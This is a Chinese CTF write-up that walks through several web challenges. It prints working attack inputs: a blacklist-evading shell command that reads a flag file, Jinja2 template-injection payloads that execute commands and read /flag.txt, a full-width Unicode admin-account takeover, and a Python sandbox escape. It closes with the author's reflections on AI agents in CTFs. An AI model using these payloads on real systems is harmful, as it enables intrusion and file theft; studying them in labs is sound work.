本文最后更新于 2026年6月8日 晚上
前言 不得不说,这真的是很久以来打的最爽的一次ctf了,题目出得真的好
ezshell 这题进去后直接给出了源代码:
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__file__);$black_list =['eval' ,'system' ,'cat' ,'tac' ,'ls' ,'tail' ,'more' ,'less' ,'nl' ];$a =$_POST ['t0mcater' ];for ($i =0 ;$i <9 ;$i ++){ if (strpos ($a , $black_list [$i ]) !== false ){ die ("bad hacker!" ); } }shell_exec ($a );
看了一下,发现黑名单禁用了['eval','system','cat','tac','ls','tail','more','less','nl'],但是没禁、等一系列符号,所以可以试试ca\t /f*,发现没被过滤,但是没回显,所以将其导出至1.txt
访问/1.txt得到flag
babyssti 点开就是一个查询框,随便输入一个payload{{1+1}},回显HELLO 2,然后先探测config
可以发现没做长度限制,且放得很宽,那我们就可以先试试基础的payload
可以看到直接把模块都泄露出来了:
整理一下,找找rce——找到一个popen在第360行,于是构造payload
1 {{'' .__class__.__base__.__subclasses__ ()[360 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("ls /").read()' )}}
发现执行成功
直接cat /flag.txt
react2shell 这题看名字都知道是CVE复现,复现的是CVE-2025-55182
直接上网搜poc拿flag
myblog 这道题打开是一个博客页面,看到app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from flask import Flask, render_template, session, redirect, url_for app = Flask(__name__) app.config['SECRET_KEY' ] = 'test' from auth.routes import auth_bpfrom blog.routes import blog_bp app.register_blueprint(auth_bp) app.register_blueprint(blog_bp)@app.route("/" ) def index (): return render_template('hello.html' )@app.route("/blog" ) def blog (): user = session.get('user' ) if not user: return redirect(url_for('auth.login' )) is_admin = (user == 'admin' ) return render_template("hello.html" , username=user, is_admin=is_admin)if __name__=="__main__" : app.run(host="0.0.0.0" , port=8080 )
发现有后台接口,当user为admin的时候就放行
看到注册附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from flask import Flask, Blueprint, request, session, flash, redirect, url_for, render_templateimport unicodedata auth_bp=Blueprint('auth' ,__name__) user_db={"admin" :"test" }@auth_bp.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form.get('username' ) password=request.form.get('password' ) if username == 'admin' : flash("想得美" ) return redirect(url_for('auth.register' )) normalized_name = unicodedata.normalize('NFKC' , username).lower() flash(f"注册并登录成功,欢迎:{normalized_name} " ) user_db[normalized_name]=password return redirect(url_for('auth.login' )) return render_template('register.html' )@auth_bp.route('/login' ,methods=['GET' , 'POST' ] ) def login (): if request.method =='POST' : username=request.form.get("username" ) password=request.form.get("password" ) if user_db.get(username)==password: session['user' ]=username flash(f'welcome {username} !' ) return redirect(url_for('blog.view' )) else : flash('wrong!!!' ) return redirect(url_for('auth.login' )) return render_template('login.html' )
看到关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 def register (): if request.method == 'POST' : username = request.form.get('username' ) password=request.form.get('password' ) if username == 'admin' : flash("想得美" ) return redirect(url_for('auth.register' )) normalized_name = unicodedata.normalize('NFKC' , username).lower() flash(f"注册并登录成功,欢迎:{normalized_name} " ) user_db[normalized_name]=password return redirect(url_for('auth.login' )) return render_template('register.html' )
当username==admin的时候flash想得美,用的是==弱比较,可以试试全角宽字符代替注册来更改admin密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 def halfwidth_to_fullwidth (text ): """半角转全角""" result = "" for char in text: code = ord (char) if code == 0x20 : code = 0x3000 elif 0x21 <= code <= 0x7E : code += 0xFEE0 result += chr (code) return resultdef fullwidth_to_halfwidth (text ): """全角转半角""" result = "" for char in text: code = ord (char) if code == 0x3000 : code = 0x20 elif 0xFF01 <= code <= 0xFF5E : code -= 0xFEE0 result += chr (code) return resultif __name__ == "__main__" : s = "admin" wide = halfwidth_to_fullwidth(s) print ("全角:" , wide) narrow = fullwidth_to_halfwidth(wide) print ("半角:" , narrow)
拿到admin,尝试去注册登录,成功
进入实验室后发现考的是pyjail,故先分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from flask import Blueprint, request, session, flash, redirect, url_for, render_templateimport sysimport io blog_bp = Blueprint('blog' , __name__)@blog_bp.route('/blog' ) def view (): user = session.get('user' ) if not user: return redirect(url_for('auth.login' )) is_admin = (user == 'admin' ) return render_template('view.html' , username=user, is_admin=is_admin)@blog_bp.route('/execute' , methods=['GET' , 'POST' ] ) def sandbox (): if session.get('user' ) != 'admin' : flash("npnpnp" ) return redirect(url_for('blog.view' )) output = "" if request.method == 'POST' : code = request.form.get('code' ) safe_globals = {"__builtins__" : {}} original_stdout = sys.stdout sys.stdout = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() except Exception as e: output = f"Error: {str (e)} " finally : sys.stdout = original_stdout return render_template('sandbox.html' , output=output, code=code) return render_template('sandbox.html' )
看到关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @blog_bp.route('/execute' , methods=['GET' , 'POST' ] ) def sandbox (): if session.get('user' ) != 'admin' : flash("npnpnp" ) return redirect(url_for('blog.view' )) output = "" if request.method == 'POST' : code = request.form.get('code' ) safe_globals = {"__builtins__" : {}} original_stdout = sys.stdout sys.stdout = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() except Exception as e: output = f"Error: {str (e)} " finally : sys.stdout = original_stdout return render_template('sandbox.html' , output=output, code=code) return render_template('sandbox.html' )
暂时是没看到黑名单,只看到一定不能用__builtins__
fuzz了一下,发现删掉了好多模块
索性尝试看看有没有popen能用,用迭代器来试试看
没报错,可以用
于是构造一下payload,这道题由于没有直接的回显,所以说在最后还得绕个弯,将显示的信息一并以报错的形式输出
用assert
id成功回显,用find找一下flag在哪里,发现在/app目录下,直接cat /app/flag
】
1 flag {python33_master_t0mcatergogogo2333}
babyssti_revenge 整体跟babyssti差不多,先来看看app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask,render_template_string,request,render_template app=Flask(__name__)@app.route('/' ,methods=['GET' ,'POST' ] ) def index (): black_list=['__class__' ,'__init__' ,'7' ,'*' ,'import' ,'os' ,'popen' ,'__' ,'system' ] if request.method=='POST' : name=request.form.get('name' ) for black in black_list: if black in name: return "waf!" result=render_template_string(name) return 'ok' return render_template('index.html' )if __name__=='__main__' : app.run(host='0.0.0.0' ,port=5000 )
很简洁易懂,禁用函数['__class__','__init__','7','*','import','os','popen','__','system'],然后
成功的话只回显ok,又得换一个模板了
下面就是ssti盲打(最烦的部分)
先试了一下,2回显200
Infinity回显500
所以可以拿报错来作为标准
用\x5f来绕过_
{% set b=... %},先把 __builtins__ 先取出来,存到变量 b
lipsum|attr('\x5f\x5fglobals\x5f\x5f')等价于 lipsum.__globals__
|attr('get')('\x5f\x5fbuiltins\x5f\x5f')从 globals 字典里取出 __builtins__
b|attr('get')('exec')从 builtins 里取出 exec
exec('from flask ' ~ 'im' ~ 'port after_this_request ...')动态执行一段 Python 代码,注册 Flask 的响应后置 hook
@after_this_request表示当前这个请求处理完视图函数后,还会执行一次我们定义的函数
resp.set_data(open("/flag.txt").read())把原本的响应正文 ok 改成 flag 内容
return resp返回修改后的响应对象
最后得到payload
1 {% set b=(lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('get')('\x5f\x5fbuiltins\x5f\x5f')) %} {{ b |attr('get ' )('exec' )('from flask ' ~ 'im' ~ 'port after_this_request\n@after_this_request\ndef x(resp):\n resp.set_data(open("/flag.txt").read())\n return resp' ) }}
拿到flag
1 flag{flask_ b4 by _m aster_2026 }
后记 好久没写后记了,今天是四校联赛后的第一个24小时,然后但从我个人的感觉来说吧,有种难以表达又或是很“矫情”的说法,随着ai的进步,我们这些只会点基础的CTFer可以说被代替是早晚的事。我时不时的会沉溺于agent,借着它的威风在这莫大的世界中留下一点小小的名声(况且现在还没有)。虽说赛时禁用了agent,但还是总会有那么一群人妄想着凭借从ai那里借过来的一点实例和技巧打翻我们剩下这批老实的人。
写这一小篇个人随笔也只是随性发挥,自从入门了渗透挖洞后真的可谓肉眼可见的忙,有一大堆新东西,新套路等着我去学,一大堆人和事要我去处理(这是我最烂的短板,我也不想去做),可以说我也日渐憔悴了,开始有点力不从心,又或是说没有坚守自己的本心?我不知道。我只知道,自从今年2月份打完vnctf和破阵阁ctf并且见识到agent的实力后我开始有点随波逐流的味道了,“到了未来,我们这些ctfer是不是得依赖上ai了?为了去抢那些所谓的一,二血而争得个头破血流”,我时常会这样想,要不我以后也去试试研究agent呢,现在肯定还差远了。
写到这也差不多了,希望我的人际关系能处理得更融洽吧(((